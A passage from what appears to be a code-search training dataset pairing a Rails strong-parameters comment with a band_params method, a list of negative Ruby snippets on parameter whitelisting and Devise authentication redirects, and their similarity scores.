"def albums( options=nil )\n params = default_params.merge( \n :method => 'smugmug.albums.get',\n :heavy => 1\n ) \n\n params = params.merge( options ) if( options )\n xml = RestClient.post BASE, params\n \n Smile::Album.from_xml( xml, session_id )\n rescue\n nil\n end",
"def create\n @band = Band.new(params[:band])\n @same_fb_id = Band.find_by_fb_id(@band.fb_id)\n if @same_fb_id == nil\n @band.save\n end\n respond_with @band\n end",
"def create\n label_params = {:name => params[:new_label]}\n artist_params = {:name => params[:artist_name]}\n\n @labels = Label.all\n @label = Label.new(label_params)\n @artist = Artist.new(artist_params)\n @album = Album.new(album_params) \n\n if @label.name != ''\n if Label.exists?(:name => label_params[:name])\n @label = Label.where(:name => label_params[:name]).first\n @album.label = @label\n else\n @album.label = @label\n end \n end \n\n if @artist.name != ''\n if Artist.exists?(:name => artist_params[:name])\n @artist = Artist.where(:name => artist_params[:name]).first\n @album.artist = @artist\n else\n @album.artist = @artist\n end \n end\n\n if Album.exists?(:title => album_params[:title]) \n if Album.exists?(:artist => album_params[:artist]) \n @album = Album.where(:title => album_params[:title], :artist => album_params[:artist]).first\n redirect_to @album and return\n end\n end\n\n if @album.save\n redirect_to @album and return\n else\n render 'new' and return\n end\n \n end"
] |
[
"0.61438066",
"0.6006179",
"0.5877538",
"0.57935894",
"0.56938714",
"0.56598675",
"0.5617073",
"0.548602",
"0.54144955",
"0.54003686",
"0.5387357",
"0.5370931",
"0.5330105",
"0.5323411",
"0.5299777",
"0.52876997",
"0.522167",
"0.52166724",
"0.5203303",
"0.5203303",
"0.5203303",
"0.5176695",
"0.51630825",
"0.51492614",
"0.5147309",
"0.5110004",
"0.5103822",
"0.5086697",
"0.50854194",
"0.5082351",
"0.50767237",
"0.50726646",
"0.50547326",
"0.5044939",
"0.5038584",
"0.5034405",
"0.5022815",
"0.5022265",
"0.50215286",
"0.50167644",
"0.50157106",
"0.501204",
"0.5007867",
"0.49949807",
"0.49941266",
"0.49913117",
"0.49904126",
"0.49903932",
"0.49875653",
"0.49859548",
"0.49849325",
"0.49846303",
"0.49844927",
"0.49817595",
"0.49800232",
"0.49709547",
"0.49642527",
"0.49569356",
"0.49555612",
"0.49536148",
"0.49536148",
"0.49536148",
"0.49536148",
"0.49536148",
"0.49495372",
"0.4947989",
"0.49416915",
"0.49407932",
"0.49391976",
"0.49297392",
"0.49274567",
"0.49196723",
"0.49112198",
"0.491086",
"0.49102813",
"0.4909213",
"0.49049303",
"0.49018815",
"0.49008876",
"0.4900034",
"0.48997414",
"0.48997286",
"0.48996696",
"0.4897438",
"0.48929814",
"0.48915175",
"0.48914313",
"0.48828414",
"0.48820943",
"0.48788056",
"0.48772565",
"0.48728904",
"0.48701486",
"0.48666638",
"0.48620284",
"0.48536003",
"0.48473656",
"0.48398834",
"0.48322392",
"0.4829734"
] |
0.7605662
|
0
|
Never trust parameters from the scary internet, only allow the white list through.
|
def band_params
params.require(:band).permit(:name, :genre, :description, :email,
:url, :image, :songdemo1, :songdemo1_title,
:songdemo2, :songdemo2_title,
:zipcode, :radius)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Allow you to route based on whether a scope is not authenticated. You can optionally specify which scope. unauthenticated do as :user do root to: 'devise/registrationsnew' end end root to: 'dashboardshow'
|
def unauthenticated(scope = nil)
constraint = lambda do |request|
not request.env["warden"].authenticate? scope: scope
end
constraints(constraint) do
yield
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def github_unauthenticated(scope=nil, options={}, &routes_block)\n github_constraint(scope, options, routes_block) do |warden, scope|\n not warden.authenticated?(scope: scope)\n end\n end",
"def not_authenticated\n redirect_to root_path\n end",
"def not_authenticated\n # Make sure that we reference the route from the main app.\n redirect_to main_app.log_in_path\n end",
"def not_authenticated\n # Make sure that we reference the route from the main app.\n redirect_to main_app.sign_in_path\n end",
"def not_authenticated\n redirect_to root_landing_url\n end",
"def unauthenticated(scope=nil)\n constraint = lambda do |request|\n not request.env[\"warden\"].authenticate? scope: scope\n end\n\n constraints(constraint) do\n yield\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n resource_or_scope.is_a?(User) ? dashboard_root_path : root_path\n end",
"def unauthenticated\n end",
"def user_not_authorized\n flash[:alert] = I18n.t('pundit.default')\n redirect_to(request.referrer || authenticated_root_path || unauthenticated_root_path)\n end",
"def after_sign_out_path_for(resource_or_scope)\n\n if ::Milia.signout_to_root\n root_path # return to index page\n else\n # or return to sign-in page\n scope = Devise::Mapping.find_scope!(resource_or_scope)\n send(:\"new_#{scope}_session_path\")\n end\n\n end",
"def require_no_authentication\n authenticate_scope!\n end",
"def after_sign_out_path_for(resource_or_scope)\n current_user.online = false\n current_user.save\n root_path\n end",
"def only_for_anonymous\n redirect_to root_path if session[:username]\n end",
"def after_inactive_sign_in_path_for(resource)\n :root\n end",
"def require_no_authentication\n assert_is_devise_resource!\n return unless is_navigational_format?\n no_input = devise_mapping.no_input_strategies\n\n authenticated = if no_input.present?\n args = no_input.dup.push :scope => resource_name\n warden.authenticate?(*args)\n else\n warden.authenticated?(resource_name)\n end\n\n if authenticated && warden.user(resource_name)\n render json: { \n success: false,\n error: \"You already logged as #{ current_user.email }\"\n }\n end\n end",
"def user_not_authorized\n redirect_to((request.referrer || root_path) ,notice: \"Authorization error.\")\n end",
"def not_authenticated\n\t\tredirect_to new_session_path, :alert => \"Please login first.\"\n\tend",
"def require_no_authentication\n assert_is_devise_resource!\n return unless is_navigational_format?\n no_input = devise_mapping.no_input_strategies\n\n authenticated = if no_input.present?\n args = no_input.dup.push scope: resource_name\n warden.authenticate?(*args)\n else\n warden.authenticated?(resource_name)\n end\n\n if authenticated && resource = warden.user(resource_name)\n set_flash_message(:alert, 'already_authenticated', scope: 'devise.failure')\n redirect_to after_sign_in_path_for(resource)\n end\n end",
"def unauthenticated(scope = T.unsafe(nil)); end",
"def signed_in_root_path(resource_or_scope)\n if session[:return_to]\n return session.delete(:return_to)\n elsif resource_or_scope.is_a?(User) && resource_or_scope.teacher?\n return teacher_dashboard_url\n end\n '/'\n end",
"def not_authenticated\n redirect_to login_path, alert: \"Please login to access that page\"\n end",
"def requires_registration\n redirect_to :root unless current_registration\n end",
"def authenticated_path\n dashboard_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n \tif resource_or_scope == :user\n\t\t\tadmin_login_path\n \telsif resource_or_scope == :advertiser\n \t\troot_path\n \tend\n end",
"def require_no_authentication\n if warden.authenticated?(:account) && warden.user(:account)\n flash[:alert] = I18n.t(\"devise.failure.already_authenticated\")\n redirect_to root_path\n end\n end",
"def require_no_authentication\n assert_is_devise_resource!\n return unless is_navigational_format?\n no_input = devise_mapping.no_input_strategies\n\n authenticated = if no_input.present?\n args = no_input.dup.push scope: resource_name\n warden.authenticate?(*args)\n else\n warden.authenticated?(resource_name)\n end\n\n if authenticated && resource = warden.user(resource_name)\n p \"user already signed in: \", warden.user\n p \"params: #{params}\"\n flash[:alert] = I18n.t(\"devise.failure.already_authenticated\")\n end\n end",
"def redirect_non_admins_to\n \"/\"\n end",
"def after_sign_in_path_for(resource_or_scope)\n return '/admin/' if !resource_or_scope.blank? && resource_or_scope.is_a?(Admin)\n super\n end",
"def non_logged_user\n respond_to do |format|\n format.html { redirect_to login_path, alert: \"faça login\" }\n end if !logged_in?\n end",
"def after_sign_in_path_for(resource_or_scope)\n flash[:notice] = \"\"\n authenticated_root_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n if resource_or_scope == :admin\n admin_home_path\n elsif resource_or_scope == :agent\n agent_home_path\n else\n root_path\n end\n end",
"def home\n if !view_context.signed_in?\n redirect_to '/'\n end\n end",
"def reject_signed_in_user\n redirect_to root_path if user_signed_in?\n end",
"def user_not_authorized\n flash[:danger] = \"Access denied.\"\n redirect_to (request.referrer || root_path)\n end",
"def authorize!\n redirect '/' unless logged_in?\n end",
"def Usuario_noLogueado\n redirect_to(root_url) unless logged_in?\n end",
"def after_sign_in_path_for(resource)\n # resource.admin? ? rails_admin.dashboard_path : root_path\n root_path\n end",
"def unauthorized_redirect\n unless current_user\n redirect_to new_user_session_path\n end\n end",
"def after_sign_out_path_for resource_or_scope\n scope_name = Devise::Mapping.find_scope!(resource_or_scope)\n\n if scope_name == :user_eco\n eco_root_path\n elsif scope_name == :user_efi\n efi_root_path\n elsif scope_name == :admin\n puntos_point_root_path\n else\n 'http://puntospoint.com'\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n dashboard_index_path\n end",
"def require_auth\n redirect_to login_path unless authenticated?\n end",
"def available_to(who)\n case who\n when 'logged_in' then redirect_to root_path if !current_user\n when 'logged_out' then redirect_to home_path if current_user\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n if resource_or_scope == :admin\n new_admin_session_path\n # elsif resource_or_scope == :user\n # new_user_session_path\n else\n root_path\n end\n end",
"def authorize\n redirect_to :login unless user_signed_in?\n end",
"def authorize\n redirect_to '/login' unless current_user\n end",
"def user_not_authorized\n flash[:alert] = t('messages.non_authorized_action')\n redirect_to(request.referrer || root_path)\n end",
"def after_sign_out_path_for(resource_or_scope)\n \t\t\troot_path\n \t\t end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope.is_a?(User) && resource_or_scope.banned?\n sign_out resource_or_scope\n banned_index_path\n elsif session[:pre_sign_in_path] && session[:pre_sign_in_path] != birthyear_path || session[:pre_sign_in_path] != new_user_session_path\n session[:user_return_to] || (session[:pre_sign_in_path] if session[:pre_sign_in_path] != birthyear_path ) || root_path\n elsif request.env['omniauth.origin'] && request.env['omniauth.origin'] != new_user_session_path || request.env['omniauth.origin'] != birthyear_path\n session[:user_return_to] || (session[:pre_sign_in_path] if session[:pre_sign_in_path] != birthyear_path ) || request.env['omniauth.origin'] || root_path\n else\n root_path\n end\n end",
"def scope_path\n opts = {}\n route = :\"new_#{scope}_session_path\"\n alt_route = :\"new_#{scope}_ichain_session_path\"\n opts[:format] = request_format unless skip_format?\n\n config = Rails.application.config\n opts[:script_name] = (config.relative_url_root if config.respond_to?(:relative_url_root))\n\n context = send(Devise.available_router_name)\n\n if context.respond_to?(route)\n context.send(route, opts)\n elsif context.respond_to?(alt_route)\n context.send(alt_route, opts)\n elsif respond_to?(:root_path)\n root_path(opts)\n else\n \"/\"\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n dashboards_path\n end",
"def user_not_authorized\n flash[:alert] = \"Access denied.\"\n redirect_to (request.referrer || root_path)\n end",
"def unauthorized\n respond_to do |format|\n format.html do\n if admin?\n flash.now[:error] = I18n.t(:authorization_failure)\n redirect_to login_path and return\n elsif current_user || admin?\n flash.now[:error] = I18n.t(:authorization_failure)\n render 'shared/unauthorized'\n else\n store_location\n redirect_to login_path and return\n end\n end\n format.xml do\n request_http_basic_authentication 'Web Password'\n end\n format.json do\n render :text => \"Not Authorized \\n\", :status => 401\n end\n end\n end",
"def authorize\n redirect_to('/login') unless @current_user\n end",
"def require_no_authentication_or_app_jwt\n assert_is_devise_resource!\n return unless is_navigational_format?\n\n no_input = devise_mapping.no_input_strategies\n\n authenticated = if no_input.present?\n args = no_input.dup.push scope: resource_name\n warden.authenticate?( *args )\n else\n warden.authenticated?( resource_name )\n end\n\n if authenticated &&\n ( resource = warden.user( resource_name ) ) &&\n # This is the only different bit\n !resource&.anonymous?\n set_flash_message( :alert, \"already_authenticated\", scope: \"devise.failure\" )\n redirect_to after_sign_in_path_for( resource )\n end\n end",
"def non_logged_user\n respond_to do |format|\n format.html { redirect_to login_path}\n flash[:info] = \"Por favor, faça o login.\"\n end if ! logged_in?\n end",
"def restrict_user_signed_in\n unless user_signed_in?\n redirect_to root_path # change this to your 404 page if needed\n end\n end",
"def access_denied\n redirect '/login'\n end",
"def signed_in_root_path(resource_or_scope)\n \tif current_team_user.avatar.url.present?\n \troot_path\n\telse\n\t\tedit_registration_path(:team_user)\n\tend\n end",
"def after_sign_out_path_for(resource_or_scope)\n flash[:logout] = true\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n if resource_or_scope == :user\n subscriptions_path\n elsif resource_or_scope == :admin\n new_admin_session_path\n else\n root_path\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def require_logout\n redirect_to user_path(current_user) if logged_in?\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n if @nuevo_usuario == 1\n new_user_registration_path\n else\n root_path\n end\n end",
"def require_login\n redirect_to root_path unless logged_in?\n end",
"def require_login\n redirect_to root_path unless logged_in?\n end",
"def require_no_authentication\n\t\tif params[:in_blog].present?\n\t\t\tflash[:after_sign_in_path_override] = in_blog_edit_subscriptions_path\n\t\telsif params[:nlsub].present?\n\t\t\tflash[:after_sign_in_path_override] = edit_subscriptions_path\n\t\tend\n\t\tsuper\n\tend",
"def after_sign_in_path_for(resource)\n dashboard_path || super\n end",
"def authorize_unauthenticated_user\n target_action = params[:controller] + '#' + params[:action]\n unless User::DEFAULT_PERMISSIONS.include?(target_action)\n head :unauthorized and return\n end\n end",
"def no_permission\n flash[:danger] = 'You do not have sufficient permission to access this page.'\n redirect_back fallback_location: '/'\n end",
"def after_sign_in_path_for(resource_or_scope)\n root_path\n end",
"def not_authenticated\n redirect_to new_session_path\n flash[:error] = \"Please login to continue.\"\n end",
"def after_sign_out_path_for(resource_or_scope)\n if resource_or_scope == :customer\n root_path\n elsif resource_or_scope == :admin\n new_admin_session_path\n else\n root_path\n end\n end",
"def index\n if !user_signed_in?\n redirect_to home_path\n elsif current_user.admin?\n redirect_to admin_portal_path\n else\n redirect_to portal_path\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n \tif resource_class == SuperAdmin\n \t\tsuper_admin_dashboard_path\n \telse\n \troot_path\n\tend\n end",
"def user_not_authorized\n flash[:warning] = \"You are not authorized to perform this action.\"\n redirect_to(request.referrer || root_path)\n end",
"def auth_user\n if !current_user\n redirect_to root_url\n end\n end",
"def auth_user\n if !current_user\n redirect_to root_url\n end\n end",
"def auth_user\n if !current_user\n redirect_to root_url\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n #Redirect to Dashboard Controller\n dashboard_index_path\n end",
"def auth_options\n { scope: resource_name, recall: \"#{controller_path}#unauthorized\" }\n end",
"def authorized\n redirect_to '/welcome' unless logged_in?\n end",
"def authorization_filter\n unless controller_name == 'dashboard' || authorized?\n respond_to do |wants|\n wants.html { redirect_to '/' }\n wants.js { render :nothing => true}\n end\n return false\n end\n end",
"def authorization_filter\n unless controller_name == 'dashboard' || authorized?\n respond_to do |wants|\n wants.html { redirect_to '/' }\n wants.js { render :nothing => true}\n end\n return false\n end\n end",
"def user_only\n redirect_back(fallback_location: admin_dashboards_path) if current_user.admin?\n end",
"def require_no_user\n if current_user\n store_location\n flash[:notice] = \"You must be logged out to access this page.\"\n redirect_to root_url\n return false\n end\n end",
"def block_unauthenticated_user!\n unless current_user\n return render_unauthorized\n end\n end",
"def verify_logged_in\n redirect_to root_path unless logged_in?\n end",
"def index\n if user_signed_in?\n redirect_to dashboard_path\n else\n render :index\n #redirect_to new_user_session_url(subdomain: ENV[\"SUBDOMAIN\"])\n end\n end",
"def after_sign_in_path_for(resource_or_scope)\n if resource_or_scope == :user\n dash_user_path(:user)\n elsif resource_or_scope == :admin\n new_admin_session_path\n else\n root_path\n end\n end",
"def unauthorized_room_redirect\n unless (current_user.rooms.include? @room) || (@room.admin == current_user) \n respond_to do |format|\n format.html { redirect_to rooms_url, notice: \"You are not authorized to access that room.\" }\n format.json { head :no_content }\n end\n end\n end",
"def after_sign_out_path_for(scope)\n scope == :staff ? staff_root_path : users_root_path\n end",
"def authenticate_user\n redirect_to root_path unless signed_in?\n end",
"def after_sign_out_path_for(resource_or_scope)\n return admin_root_path if resource_or_scope == :admin\n root_path if resource_or_scope == :user\n end",
"def authorize\n redirect_to :root, alert: 'You must be logged in to view this page' if current_user.nil?\n end",
"def index\n redirect_to(:action => 'login') unless logged_in? \n end",
"def after_sign_out_path_for(resource_or_scope)\n if resource_or_scope == :user\n new_user_session_path\n elsif resource_or_scope == :admin\n new_admin_session_path\n else\n root_path\n end\n end",
"def must_be_authenticated!\n unless current_admin\n redirect_to :controller => 'home', :action => 'index'\n end\n end",
"def redirect_unauthorized!\n redirect_to not_authorized_path\n end",
"def authenticate\n redirect_to :login unless user_signed_in?\n end"
] |
[
"0.70543295",
"0.69676393",
"0.6907679",
"0.6869371",
"0.6740226",
"0.65670973",
"0.6303805",
"0.62966394",
"0.6274277",
"0.62515825",
"0.6240269",
"0.6206316",
"0.6174704",
"0.6156587",
"0.61227757",
"0.6106262",
"0.61058855",
